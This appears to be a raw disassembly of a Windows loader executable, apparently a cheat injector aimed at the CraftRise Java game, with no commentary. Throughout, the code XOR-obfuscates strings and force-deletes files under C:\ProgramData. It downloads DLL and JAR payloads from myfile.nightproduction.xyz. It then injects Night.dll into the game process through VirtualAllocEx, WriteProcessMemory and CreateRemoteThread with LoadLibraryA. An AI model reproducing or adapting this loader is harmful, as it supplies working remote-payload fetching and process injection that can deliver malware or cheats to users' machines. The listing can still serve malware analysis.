add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2f
jl 0x140004880
movzx eax, word [0x14007a804]
mov word [rsp + 0x40], ax
cmp byte [0x14007a805], 0
je 0x1400048d2
mov byte [rsp + 0x40], Ordinal_46
xor byte [rsp + 0x41], 0x31
lea rdx, [0x140002be0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [rbp - 0x50]
call fcn.140006760
mov rcx, rax
lea rdx, [0x140002c40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [rsp + 0x40]
call fcn.140006760
mov rcx, rax
lea rdx, [0x140002be0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [rsp + 0x48]
call fcn.140006760
mov rcx, rax
lea rdx, [0x140006930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, dword [0x14007a868]
mov dword [rbp - 0x68], eax
movzx eax, byte [0x14007a86c]
mov byte [rbp - 0x68], reloc.WLDAP32.dll_Ordinal_32
xor byte [rbp - 0x67], 0x31
xor byte [rbp - 0x66], 0x32
xor byte [rbp - 0x65], 0x33
xor al, 0x34
mov byte [rbp - 0x64], al
movups xmm0, xmmword [0x14007a890]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [0x14007a8a0]
movups xmmword [rsp + 0x58], xmm1
movsd xmm0, qword [0x14007a8b0]
movsd qword [rsp + 0x68], xmm0
cmp esi, 2
jl 0x140004ac8
movdqa xmm5, xmmword [0x14007a910]
mov edx, r12d
movdqa xmm4, xmmword [0x14007a960]
movdqa xmm6, xmmword [0x14007a930]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rsp + 0x4c]
mov r8d, dword [rbp - 0x40]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007a940]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007a940]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x1400049c1
jmp 0x140004b03
lea r9, [rsp + 0x48]
mov r8d, r12d
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x140004ad0
movzx eax, word [0x14007a804]
mov word [rsp + 0x40], ax
cmp byte [0x14007a805], 0
je 0x140004b22
mov byte [rsp + 0x40], Ordinal_46
xor byte [rsp + 0x41], 0x31
mov eax, dword [0x14007a864]
mov dword [rbp - 0x50], eax
cmp byte [0x14007a867], 0
je 0x140004c03
cmp esi, 2
jl 0x140004bc2
movdqa xmm3, xmmword [0x14007a910]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14007a960]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14007a960]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14007a930]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007a940]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp - 0x50], xmm2
jmp 0x140004c03
lea r9, [rbp - 0x50]
mov r8d, r12d
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140004bd0
lea rdx, [0x140002be0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [rbp - 0x50]
call fcn.140006760
mov rcx, rax
lea rdx, [0x140002c40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [rsp + 0x40]
call fcn.140006760
mov rcx, rax
lea rdx, [0x140002be0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [rsp + 0x48]
call fcn.140006760
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova rdx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x10]
mov rcx, rax
call fcn.1400073e0
lea rdx, [rbp - 0x68]
mov rcx, rax
call fcn.140006760
mov rcx, rax
lea rdx, [0x140006930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.del__F_C:ProgramDataNight.dll
lea rcx, [rsp + 0x48]
call fcn.140005d50
mov rcx, rax
call fcn.140003100
lea rdx, str.del__F_C:ProgramDataNight.jar
lea rcx, [rsp + 0x48]
call fcn.140005d50
mov rcx, rax
call fcn.140003100
mov rax, qword [0x1400862a0]
mov qword [rbp - 0x68], rax
mov rcx, qword [0x1400862a8]
mov qword [rbp - 0x50], rcx
cmp rax, rcx
je 0x14000539e
mov r14, qword [rbp + 0x50]
lea rsi, str.full
movabs rdi, 0x7fffffffffffffff
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.140005e70
nop
lea rcx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0xf
seta byte [rsp + 0x44]
mov r15, qword [rbp + 0x80]
cmova rcx, r15
mov r13, qword [rbp + 0x90]
cmp r13, 7
jne 0x140005025
mov r8, r13
lea rdx, str.default
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140005025
mov rax, rdi
sub rax, r14
cmp rax, 0x40
jb 0x140005a48
lea r12, [rbp + 0x40]
cmp qword [rbp + 0x58], 0xf
seta byte [rsp + 0x40]
cmova r12, rbx
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
lea rsi, [r14 + 0x40]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rbp - 0x40]
cmp rsi, rbx
jbe 0x140004e13
mov rbx, rsi
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jbe 0x140004db8
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140004ddf
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140004dfe
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140005a4e
mov rcx, rax
call fcn.140068160
test rax, rax
je 0x14000538a
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140004e0f
test rcx, rcx
je 0x140004e0d
call fcn.140068160
mov rdi, rax
jmp 0x140004e0f
xor edi, edi
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], rbx
movups xmm0, xmmword [str.https:__myfile.nightproduction.xyz_Cr_NightLoader.dll_timestamp]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [0x14007a630]
movups xmmword [rdi + 0x10], xmm1
movups xmm0, xmmword [0x14007a640]
movups xmmword [rdi + 0x20], xmm0
movups xmm1, xmmword [0x14007a650]
movups xmmword [rdi + 0x30], xmm1
lea rcx, [rdi + 0x40]
mov r8, r14
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x140004e94
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004e8f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000538a
call fcn.1400683dc
movups xmm0, xmmword [rbp - 0x40]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rbp - 0x30]
movups xmmword [rbp + 0x30], xmm1
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x40], 0
lea r12, [rbp + 0x40]
cmp byte [rsp + 0x40], 0
cmovne r12, qword [rbp + 0x40]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rsi, [r14 + 0x3e]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rsp + 0x48]
cmp rsi, rbx
jbe 0x140004f62
mov rbx, rsi
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jbe 0x140004f06
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140004f2d
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140004f4c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140005a4e
mov rcx, rax
call fcn.140068160
test rax, rax
je 0x14000538a
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140004f5d
test rcx, rcx
je 0x140004f5b
call fcn.140068160
mov rdi, rax
jmp 0x140004f5d
xor edi, edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rbx
movups xmm0, xmmword [str.https:__myfile.nightproduction.xyz_Cr_NightJava.jar_timestamp]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [0x14007a678]
movups xmmword [rdi + 0x10], xmm1
movups xmm0, xmmword [0x14007a688]
movups xmmword [rdi + 0x20], xmm0
movsd xmm0, qword [0x14007a698]
movsd qword [rdi + 0x30], xmm0
mov eax, dword [0x14007a6a0]
mov dword [rdi + 0x38], eax
movzx eax, word [0x14007a6a4]
mov word [rdi + 0x3c], ax
lea rcx, [rdi + 0x3e]
mov r8, r14
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x140004ffb
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004ff6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000538a
call fcn.1400683dc
movups xmm0, xmmword [rsp + 0x48]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rsp + 0x58]
movups xmmword [rbp + 0x10], xmm1
mov rbx, qword [rbp + 0x40]
xor r12d, r12d
movabs rdi, 0x7fffffffffffffff
lea rsi, str.full
lea rdx, [rbp + 0x80]
cmp byte [rsp + 0x44], 0
cmovne rdx, r15
cmp r13, 4
jne 0x140005332
mov rax, r12
movzx ecx, byte [rdx + rax]
inc rax
cmp cl, byte [rsi + rax - 1]
jne 0x14000505a
cmp rax, 4
jne 0x140005042
mov eax, r12d
jmp 0x14000505f
sbb eax, eax
or eax, 1
test eax, eax
jne 0x140005332
mov rax, rdi
sub rax, r14
cmp rax, 0x3d
jb 0x140005a48
lea r12, [rbp + 0x40]
cmp qword [rbp + 0x58], 0xf
seta r13b
cmova r12, rbx
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
lea rsi, [r14 + 0x3d]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rsp + 0x78]
cmp rsi, rbx
jbe 0x14000512c
mov rbx, rsi
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jbe 0x1400050d0
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x1400050f7
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140005116
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140005a4e
mov rcx, rax
call fcn.140068160
test rax, rax
je 0x14000538a
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140005127
test rcx, rcx
je 0x140005125
call fcn.140068160
mov rdi, rax
jmp 0x140005127
xor edi, edi
mov qword [rsp + 0x78], rdi
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x70], rbx
movups xmm0, xmmword [str.https:__myfile.nightproduction.xyz_cr_VoidFull.dll_timestamp]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [0x14007a6c0]
movups xmmword [rdi + 0x10], xmm1
movups xmm0, xmmword [0x14007a6d0]
movups xmmword [rdi + 0x20], xmm0
movsd xmm0, qword [0x14007a6e0]
movsd qword [rdi + 0x30], xmm0
mov eax, dword [0x14007a6e8]
mov dword [rdi + 0x38], eax
movzx eax, byte [0x14007a6ec]
mov byte [rdi + 0x3c], al
lea rcx, [rdi + 0x3d]
mov r8, r14
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x1400051c2
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400051bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000538a
call fcn.1400683dc
movups xmm0, xmmword [rsp + 0x78]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rbp - 0x78]
movups xmmword [rbp + 0x30], xmm1
mov qword [rbp - 0x70], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x78], 0
lea r12, [rbp + 0x40]
test r13b, r13b
cmovne r12, qword [rbp + 0x40]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rsp + 0x48]
cmp rsi, rbx
jbe 0x14000528c
mov rbx, rsi
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jbe 0x140005230
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140005257
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140005276
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140005a4e
mov rcx, rax
call fcn.140068160
test rax, rax
je 0x14000538a
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140005287
test rcx, rcx
je 0x140005285
call fcn.140068160
mov rdi, rax
jmp 0x140005287
xor edi, edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rbx
movups xmm0, xmmword [str.https:__myfile.nightproduction.xyz_cr_VoidFull.jar_timestamp]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [0x14007a700]
movups xmmword [rdi + 0x10], xmm1
movups xmm0, xmmword [0x14007a710]
movups xmmword [rdi + 0x20], xmm0
movsd xmm0, qword [0x14007a720]
movsd qword [rdi + 0x30], xmm0
mov eax, dword [0x14007a728]
mov dword [rdi + 0x38], eax
movzx eax, byte [0x14007a72c]
mov byte [rdi + 0x3c], al
lea rcx, [rdi + 0x3d]
mov r8, r14
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x140005320
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000531b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000538a
call fcn.1400683dc
movups xmm0, xmmword [rsp + 0x48]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rsp + 0x58]
movups xmmword [rbp + 0x10], xmm1
cmp byte [rsp + 0x44], 0
je 0x14000536c
mov rdx, qword [rbp + 0x98]
inc rdx
mov rax, r15
cmp rdx, 0x1000
jb 0x140005364
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005391
mov rcx, r15
call fcn.1400683dc
mov rax, qword [rbp - 0x68]
add rax, 0x20
mov qword [rbp - 0x68], rax
xor r12d, r12d
cmp rax, qword [rbp - 0x50]
je 0x140005398
mov rbx, qword [rbp + 0x40]
jmp 0x140004ce8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov esi, dword [reloc.WS2_32.dll_accept]
lea rcx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova rcx, qword [rbp + 0x20]
lea rdx, str.C:ProgramDataNight.dll
call fcn.1400032b0
lea rcx, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova rcx, qword [rbp]
lea rdx, str.C:ProgramDataNight.jar
call fcn.1400032b0
lea rdx, str.CraftRise
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x1400053eb
mov edi, r12d
jmp 0x1400053ff
mov dword [rbp - 0x50], r12d
lea rdx, [rbp - 0x50]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edi, dword [rbp - 0x50]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140005465
mov dword [rbp + 0xc0], 0x130
lea rdx, [rbp + 0xc0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x14000545c
lea rdx, str.javaw.exe
lea rcx, [rbp + 0xec]
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x14000545c
lea rdx, [rbp + 0xc0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140005431
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
test edi, edi
jne 0x1400056ec
movzx eax, word [0x14007a7d0]
mov word [rsp + 0x40], ax
mov eax, dword [0x14007a7ec]
mov dword [rbp - 0x50], eax
movzx eax, byte [0x14007a7f0]
cmp byte [0x14007a7d1], dil
je 0x1400054b0
mov byte [rsp + 0x40], reloc.WLDAP32.dll_Ordinal_45
xor byte [rsp + 0x41], 0x31
nop word [rax + rax]
mov byte [rbp - 0x50], 0xa
xor byte [rbp - 0x4f], 0x31
xor byte [rbp - 0x4e], 0x32
xor byte [rbp - 0x4d], 0x33
xor al, 0x34
mov byte [rbp - 0x4c], al
movups xmm0, xmmword [0x14007a808]
movups xmmword [rbp - 0x68], xmm0
mov eax, dword [0x14007a818]
mov dword [rbp - 0x58], eax
movzx eax, word [0x14007a81c]
mov word [rbp - 0x54], ax
cmp byte [0x14007a81d], 0
je 0x140005683
mov r8d, r12d
cmp esi, 2
jl 0x14000563d
movdqa xmm5, xmmword [0x14007a910]
movdqa xmm4, xmmword [0x14007a960]
movdqa xmm6, xmmword [0x14007a930]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp - 0x64]
mov edx, dword [rbp - 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007a940]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007a940]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140005530
cmp r8d, 0x16
jge 0x140005683
movsxd rax, r8d
lea r9, [rbp - 0x68]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140005650
lea rdx, [0x140002be0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [rbp - 0x50]
call fcn.140006760
mov rcx, rax
lea rdx, [0x140002c10]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [rsp + 0x40]
call fcn.140006760
mov rcx, rax
lea rdx, [0x140002be0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [rbp - 0x68]
call fcn.140006760
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140005871
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x140086014], edi
mov qword [rbp - 0x38], r12
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.140068160
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x30], Ordinal_27
mov qword [rbp - 0x28], Ordinal_33
movups xmm0, xmmword [str.C:ProgramDataNight.dll]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x14007a740]
movsd qword [rax + 0x10], xmm0
mov byte [rax + 0x18], 0
call fcn.1400016f0
lea rbx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova rbx, qword [rbp - 0x40]
mov r8d, edi
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0xc0]
call sub.VCRUNTIME140.dll_memset
mov r8, rbx
mov edx, 0x104
lea rcx, [rbp + 0xc0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x104
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
mov qword [rsp + 0x20], r12
mov r9d, 0x104
lea r8, [rbp + 0xc0]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], rbx
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r9d, 4
mov r8d, 0x3000
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call fcn.140001910
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140005861
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000585c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000585c
